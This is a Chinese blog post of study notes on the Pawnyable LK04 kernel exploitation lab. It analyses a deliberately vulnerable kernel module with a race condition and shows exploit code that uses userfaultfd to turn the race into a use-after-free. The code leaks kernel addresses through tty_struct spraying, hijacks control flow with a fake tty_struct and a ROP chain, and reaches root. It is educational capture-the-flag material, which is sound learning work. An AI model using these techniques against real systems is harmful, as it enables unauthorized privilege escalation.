前言
Pawnyable是一个由ptrYudai开发的Linux内核漏洞利用的入门教程。在这个教程中,作者设计了存在漏洞的Linux内核模块,并结合这些内核模块依次介绍了内核漏洞研究的环境搭建及调试方法、堆栈溢出、释放后重用(use after free,简称UAF)、竞态条件(race condition)、空指针解引用(NULL pointer dereference)、双取(double fetch)等多种漏洞类型,和滥用userfaultfd、滥用FUSE等漏洞利用方法。虽然该系列教程全部使用日语,我们可以使用Google翻译提供的网站动态翻译功能来阅读该教程的中文版本或英文版本。
“Linux Kernel PWN | 04”系列文章是我针对此教程的学习笔记,文章结构与原教程基本保持一致,也会补充一些学习过程中获得的额外知识。我们在《Linux Kernel PWN | 0401 Pawnyable学习笔记》中介绍了Linux内核漏洞利用的基础知识、环境搭建和调试的方法;在《Linux Kernel PWN | 040201 Pawnyable之栈溢出》中依次讨论了在开启不同安全机制的情况下内核栈溢出漏洞的利用方法;在《Linux Kernel PWN | 040202 Pawnyable之堆溢出》中介绍了内核堆溢出漏洞的利用方法;在《Linux Kernel PWN | 040203 Pawnyable之UAF》中介绍了内核UAF漏洞的利用方法;在《Linux Kernel PWN | 040204 Pawnyable之竞态条件》中介绍了内核竞态条件漏洞的利用方法;在《Linux Kernel PWN | 040302 Pawnyable之双取》中介绍了内核double fetch漏洞的利用方法。
本文是课程第三部分“针对内核空间的攻击”第三小节的笔记,将讨论基于userfaultfd的内核竞态条件漏洞利用方法。下文使用的漏洞环境是LK04。
为了方便后面的测试,建议在run.sh脚本中添加-smp 2
将虚拟机设置为2核CPU。
1. 漏洞模块分析
这个内核模块的源代码比之前课程的要多一些,但是不难理解。对外,该模块一共实现了open、close和ioctl三个操作;在内部,该模块利用内核的双向循环链表机制实现了简单的数据存储链表,链表上的每个节点有id、size和data三个成员属性。该模块通过ioctl对外提供了对链表进行增删改查的功能。
该模块的文件操作方法实现部分如下:
#define CMD_ADD 0xf1ec0001
#define CMD_DEL 0xf1ec0002
#define CMD_GET 0xf1ec0003
#define CMD_SET 0xf1ec0004
static int module_open(struct inode *inode, struct file *filp) {
filp->private_data = (void*)kmalloc(sizeof(struct list_head), GFP_KERNEL);
if (unlikely(!filp->private_data)) return -ENOMEM;
INIT_LIST_HEAD((struct list_head*)filp->private_data);
return 0;
}
static int module_close(struct inode *inode, struct file *filp) {
struct list_head *top;
blob_list *itr, *tmp;
top = (struct list_head*)filp->private_data;
tmp = NULL;
list_for_each_entry_safe(itr, tmp, top, list) {
list_del(&itr->list);
kfree(itr->data);
kfree(itr);
}
kfree(top);
return 0;
}
static long module_ioctl(struct file *filp, unsigned int cmd, unsigned long arg) {
struct list_head *top;
request_t req;
if (unlikely(copy_from_user(&req, (void*)arg, sizeof(req)))) return -EINVAL;
top = (struct list_head*)filp->private_data;
switch (cmd) {
case CMD_ADD: return blob_add(top, &req);
case CMD_DEL: return blob_del(top, &req);
case CMD_GET: return blob_get(top, &req);
case CMD_SET: return blob_set(top, &req);
default: return -EINVAL;
}
}
增删改查部分的实现如下:
blob_list *blob_find_by_id(struct list_head *top, int id) {
blob_list *itr;
list_for_each_entry(itr, top, list) {
if (unlikely(itr->id == id)) return itr;
}
return NULL;
}
long blob_add(struct list_head *top, request_t *req) {
blob_list *new;
if (req->size > 0x1000) return -EINVAL;
new = (blob_list*)kmalloc(sizeof(blob_list), GFP_KERNEL);
if (unlikely(!new)) return -ENOMEM;
new->data = (char*)kmalloc(req->size, GFP_KERNEL);
if (unlikely(!new->data)) {
kfree(new);
return -ENOMEM;
}
if (unlikely(copy_from_user(new->data, req->data, req->size))) {
kfree(new->data);
kfree(new);
return -EINVAL;
}
new->size = req->size;
INIT_LIST_HEAD(&new->list);
do {
get_random_bytes(&new->id, sizeof(new->id));
} while (unlikely(new->id < 0));
list_add(&new->list, top);
return new->id;
}
long blob_del(struct list_head *top, request_t *req) {
blob_list *victim;
if (!(victim = blob_find_by_id(top, req->id))) return -EINVAL;
list_del(&victim->list);
kfree(victim->data);
kfree(victim);
return req->id;
}
long blob_get(struct list_head *top, request_t *req) {
blob_list *victim;
if (!(victim = blob_find_by_id(top, req->id))) return -EINVAL;
if (req->size > victim->size) return -EINVAL;
if (unlikely(copy_to_user(req->data, victim->data, req->size))) return -EINVAL;
return req->id;
}
long blob_set(struct list_head *top, request_t *req) {
blob_list *victim;
if (!(victim = blob_find_by_id(top, req->id))) return -EINVAL;
if (req->size > victim->size) return -EINVAL;
if (unlikely(copy_from_user(victim->data, req->data, req->size))) return -EINVAL;
return req->id;
}
相关数据结构实现如下:
typedef struct {
int id;
size_t size;
char *data;
} request_t;
typedef struct {
int id;
size_t size;
char *data;
struct list_head list;
} blob_list;
由于缺乏相应的保护措施,该模块存在明显的竞态条件漏洞:如果两个线程同时操作该模块的内部链表,链表结构可能遭到破坏。race_poc.c是一个测试程序,如果编译、运行这个程序,在触发竞态条件的情况下内核将崩溃。
2. 将竞态条件漏洞转化为UAF漏洞
那么,哪一种竞态状态可以帮助我们实现权限提升呢?我们知道,竞态条件漏洞在触发后会转化为其他类型的漏洞。《Linux Kernel PWN | 040204 Pawnyable之竞态条件》中总结道:
关键在于编写出能够触发竞态条件的多线程逻辑和判断竞态条件是否触发的中止逻辑。在此之后,就是不同的漏洞利用“八仙过海,各显神通”了,如UAF、Double Free等,甚至仅仅是简单地修改一些标识位。
本题模块中有链表的增删改查操作,因此我们考虑将竞态条件漏洞转化为UAF漏洞。因为我们已经研究过UAF漏洞和竞态条件漏洞案例,这里直接给出思路:
转化为UAF漏洞并实现内核地址泄露所需的竞态状态:
- 线程1新增一个链表节点A(
blob_add
)。 - 线程1对链表节点A执行查询操作(
blob_get
);在copy_to_user
执行前,线程2对链表节点A执行删除操作(blob_del
),并喷射tty_struct
占位。 - 线程1执行
copy_to_user
,实际上将某个tty_struct
的内容复制到了用户空间。
转化为UAF漏洞并实现控制流劫持所需的竞态状态:
- 线程1新增一个链表节点B(
blob_add
)。 - 线程1对链表节点B执行查询操作(
blob_set
);在copy_from_user
执行前,线程2对链表节点B执行删除操作(blob_del
),并喷射tty_struct
占位。 - 线程1执行
copy_from_user
,实际上将占位的tty_struct
内容替换成了攻击者的伪造tty_struct
。
上述思路是直观的。然而,由于链表操作包含多个步骤,最终想要达到以上理想状态是不容易的,需要大量尝试。更糟糕的是,上一节的测试显示,不理想的竞态状态可能会导致内核崩溃。后文将介绍利用Linux userfaultfd机制提高内核竞态条件漏洞利用成功率的方法。通过应用userfaultfd机制,我们能够以较高的成功率来达到前述转化为UAF漏洞所需的各种竞态状态。
3. userfaultfd简介
简单来说,userfaultfd机制允许多线程程序中的某个线程为其他线程提供用户空间页面——如果该线程将这些页面注册到了userfaultfd对象上,那么当针对这些页面的缺页异常发生时,触发缺页异常的线程将暂停运行,内核将生成一个缺页异常事件并通过userfaultfd文件描述符传递给异常处理线程。异常处理线程可以做一些处理,然后唤醒之前暂停的线程。
Linux内核官方文档与Linux man page对userfaultfd机制做了详细介绍;另外,CTF wiki结合一道2021年强网杯题目对userfaultfd机制在Linux内核漏洞利用场景中的应用做了介绍。大家可以阅读这些材料进行深入了解。
uffd_example.c是一个userfaultfd的使用示例。该程序首先使用mmap在用户空间分配两个匿名页,接着创建userfaultfd,并启动一个线程来处理缺页异常。然后,主线程尝试向先前申请的两个匿名页依次写入数据。针对这两个页的第一次读操作将触发两次缺页异常,子线程将从阻塞态恢复并执行处理逻辑。针对同一页面的第二次及之后的读写操作将不再触发缺页异常。下面是该程序的执行过程:
[+] mmap two pages at 0x7f0ed2616000
[*] registering userfaultfd
[*] spawning a fault handler thread
[t][*] mmaping one dummy page
[t][*] waiting for page fault
[*] reading from page#1
[t][+] catched page fault
[t][+] uffd: flag=0x0, addr=0x7f0ed2616000
[t][*] writing hello world into dummy page
[t][*] copying data from dummy page to faulted page
[+] 0x0000: Hello, world! (1)
[*] reading from page#2
[t][+] catched page fault
[t][+] uffd: flag=0x0, addr=0x7f0ed2617000
[t][*] writing hello world into dummy page
[t][*] copying data from dummy page to faulted page
[+] 0x1000: Hello, world! (2)
[*] reading from page#1
[+] 0x0000: Hello, world! (1)
[*] reading from page#2
[+] 0x1000: Hello, world! (2)
注意,使用userfaultfd机制需要满足两个条件:
- 内核通过设置
CONFIG_USERFAULTFD=y
启用了userfaultfd机制。 - 用户在初始user namespace中具有
CAP_SYS_PTRACE
权限,或系统/proc/sys/vm/unprivileged_userfaultfd
被设置为1(本文环境的run.sh脚本中特意将该选项设置为1)。
下面,我们将尝试借助userfaultfd机制来以较高的成功率来达到前述转化为UAF漏洞所需的各种竞态状态,并在此基础上完成UAF漏洞利用,实现权限提升。
4. 基于userfaultfd的漏洞利用
我们已经知道了实现UAF所需的竞态条件状态,也了解了userfaultfd机制的效果和运作流程。一个自然而然的问题是,为什么userfaultfd可以用于提高内核竞态条件漏洞利用成功率呢?
其实,我们之前的大部分内核漏洞利用过程大体都可以抽象为一次或多次的用户空间与内核空间的数据交换。例如:
- 用户空间从内核空间中获取数据,从而获得内核符号地址。
- 用户空间向内核空间写数据,从而在内核中布置ROP链或其他载荷。
- 用户空间执行触发漏洞的系统调用,劫持控制流。
其中,第1步和第2步都需要对用户空间的内存进行写或读操作。那么,内核对用户空间内存页的第一次读或写操作都将触发缺页异常,在userfaultfd机制下,控制流将回到异常处理线程上。这样一来,攻击者得以有机会在真正的对用户空间内存写(对应第1步,通常是内核copy_to_user
函数过程中)或读(对应第2步,通常是内核copy_from_user
函数过程中)操作发生前施加控制。
我们注意到,本文涉及的漏洞模块的blob_get
和blob_set
函数就分别在尾部调用了copy_from_user
和copy_to_user
函数。因此,我们可以利用userfaultfd机制,在这些点将控制流重新拿回来,在异常处理线程中执行blob_del
造成UAF、或进行堆喷操作。
想清楚了这些,我们来看一下如何借助userfaultfd机制将竞态条件漏洞转化为UAF漏洞。
注意,竞态条件漏洞利用的线程通常需要在指定CPU上运行。在本文环境中,为了保证主线程和子线程在同一CPU上运行,我们需要借助sched_setaffinity来实现控制。
UAF Read
首先尝试进行地址泄露。下图来自Pawnyable官网,我重制了一下,比较准确地描述了我们利用userfaultfd实现的竞态逻辑控制:
简单来说,主线程首先在用户空间映射一个空白匿名页,然后触发blob_get
,该函数末尾的copy_to_user
将导致缺页异常,控制流回到异常处理线程,该线程制造UAF并堆喷tty_struct
,最后blob_get
恢复执行后将把tty_struct
对象内容复制到空白匿名页中,实现地址泄露。
需要注意的是,copy_to_user
并不能把完整的一个tty_struct
对象复制到用户空间。这是为什么呢?如果追踪该函数的源码,我们最终发现在汇编层面它是不断循环迭代去复制数据的。第一次迭代复制操作触发缺页异常,然后我们才制造UAF。因此,第一次复制的数据来自UAF发生前的正常的blob对象。这种复制操作的结果是,如果我们将复制长度设定为较大值(如0x400),那么tty_struct
开头的若一些字节(第一次迭代的数据)将无法被复制到用户空间。为了有效泄露内核基地址和堆地址,我们最好设定较小的复制长度。
leak_kbase_and_heap.c实现了上图逻辑,核心部分如下:
static void *fault_handler_thread(void *arg) {
// ...
switch (fault_cnt++) {
case 0:
case 1: {
puts("[t][*] crafting UAF");
puts("[t][*] deleting victim blob");
del(victim);
printf("[t][*] spraying %d tty_struct objects\n", SPRAY_NUM);
for (int i = 0; i < SPRAY_NUM; i++) {
ptmx[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY);
if (ptmx[i] == -1)
fatal("/dev/ptmx");
}
// just reuse the buf in user land
copy.src = (unsigned long)buf;
break;
}
}
// ...
}
int main() {
// ...
buf = (char *)malloc(0x1000);
victim = add(buf, 0x400);
puts("[*] UAF#1 leak kbase");
get(victim, page, 0x20);
kbase = *(unsigned long *)&((char *)page)[0x18] - ofs_tty_ops;
for (int i = 0; i < SPRAY_NUM; i++)
close(ptmx[i]);
puts("[*] UAF#2 leak kheap");
victim = add(buf, 0x400);
get(victim, page + 0x1000, 0x400);
kheap = *(unsigned long *)(page + 0x1038) - 0x38;
for (int i = 0; i < SPRAY_NUM; i++)
close(ptmx[i]);
// ...
}
编译运行,成功泄露内核基地址和堆地址:
~ $ /exploit
[*] set cpu affinity
[+] mmap two pages at 0x7fe0ac175000
[*] registering userfaultfd
[*] spawning a fault handler thread
[*] UAF#1 leak kbase
[*] reading 0x20 bytes from victim blob to page#1
[t][*] set cpu affinity
[t][*] waiting for page fault
[t][+] caught page fault
[t][*] crafting UAF
[t][*] deleting victim blob
[t][*] spraying 16 tty_struct objects
[*] UAF#2 leak kheap
[*] reading 0x400 bytes from victim blob to page#2
[t][+] caught page fault
[t][*] crafting UAF
[t][*] deleting victim blob
[t][*] spraying 16 tty_struct objects
[+] leaked kbase: 0xffffffff81000000, kheap: 0xffff8880030cc800
UAF Write
类似地,我们也能借助userfaultfd机制实现UAF write。下图同样来自Pawnyable官网,我重制了一下,比较准确地描述了我们利用userfaultfd实现的竞态逻辑控制:
如上图所示,我们在blob_del
制造UAF前首先需要一次堆喷,这是因为之前泄露的堆地址kheap
通常不是这次UAF相关对象的起始地址。因此,我们需要通过喷射包含了ROP链的对象来占据之前泄露的kheap
位置,这样才能保证控制流最终转移到kheap
处后能够顺利执行ROP。除此之外,其他步骤与UAF Read的情形基本相同。
这里附上作者的ExP和我在此基础上完成的ExP,其中核心部分如下:
static void *fault_handler_thread(void *arg) {
// ...
switch (fault_cnt++) {
// ...
case 2: {
puts("[t][*] UAF write");
printf("[t][*] spraying %d fake tty_struct objects (blob)\n", 0x100);
for (int i = 0; i < 0x100; i++)
add(buf, 0x400);
del(victim);
printf("[t][*] spraying %d tty_struct objects\n", SPRAY_NUM);
for (int i = 0; i < SPRAY_NUM; i++) {
ptmx[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY);
if (ptmx[i] == -1)
fatal("/dev/ptmx");
}
copy.src = (unsigned long)buf;
break;
}
copy.dst = (unsigned long)msg.arg.pagefault.address;
copy.len = 0x1000;
copy.mode = 0;
copy.copy = 0;
// ...
}
int main() {
// ...
puts("[*] crafting fake tty_struct in buf");
memcpy(buf, page + 0x1000, 0x400);
unsigned long *tty = (unsigned long *)buf;
tty[0] = 0x0000000100005401; // magic
tty[2] = *(unsigned long *)(page + 0x10); // dev
tty[3] = kheap; // ops
tty[12] = push_rdx_pop_rsp_pop_ret; // ops->ioctl
puts("[*] crafting rop chain");
unsigned long *chain = (unsigned long *)(buf + 0x100);
// construct ROP chain...
puts("[*] UAF#3 write rop chain");
victim = add(buf, 0x400);
set(victim, page + 0x2000, 0x400);
puts("[*] invoking ioctl to hijack control flow");
for (int i = 0; i < SPRAY_NUM; i++)
ioctl(ptmx[i], 0, kheap + 0x100);
// ...
}
编译运行,成功提权:
~ $ /exploit
[*] saving user land state
[*] set cpu affinity
[+] mmap three pages at 0x7faf152a4000
[*] registering userfaultfd
[*] spawning a fault handler thread
[*] UAF#1 leak kbase
[*] reading 0x20 bytes from victim blob to page#1
[t][*] set cpu affinity
[t][*] waiting for page fault
[t][+] caught page fault
[t][*] UAF read
[t][*] spraying 16 tty_struct objects
[*] UAF#2 leak kheap
[*] reading 0x400 bytes from victim blob to page#2
[t][+] caught page fault
[t][*] UAF read
[t][*] spraying 16 tty_struct objects
[+] leaked kbase: 0xffffffffbe000000, kheap: 0xffffa15381cda400
[*] crafting fake tty_struct in buf
[*] crafting rop chain
[*] UAF#3 write rop chain
[t][+] caught page fault
[t][*] UAF write
[t][*] spraying 256 fake tty_struct objects (blob)
[t][*] spraying 16 tty_struct objects
[*] invoking ioctl to hijack control flow
[+] returned to user land
[+] got root (uid = 0)
[*] spawning shell
/ # id
uid=0(root) gid=0(root)
另外,原作者在ROP中利用了init_cred
结构体,从而省去了调用prepare_kernel_cred
的麻烦。然而,该符号在实验环境中并未导出。那么如何获取init_cred
的偏移呢?我请教了云松,他说在反汇编后直接查看即可。通过搜索,我发现prepare_kernel_cred
函数中引用了init_cred
结构体:
old = get_cred(&init_cred);
因此,我们只需要在反汇编结果中找到对应的引用地址即可获得init_cred
的偏移。
总结
本文介绍的基于userfaultfd机制提高内核竞态条件漏洞利用成功率的方法十分有趣。然而,我没有查到第一个提出这种利用思路的人是谁。从攻防角度来说,新的机制不仅仅会带来新问题和新风险,还会为攻击者带来新的漏洞利用思路。
新年将至,提前祝大家春节快乐!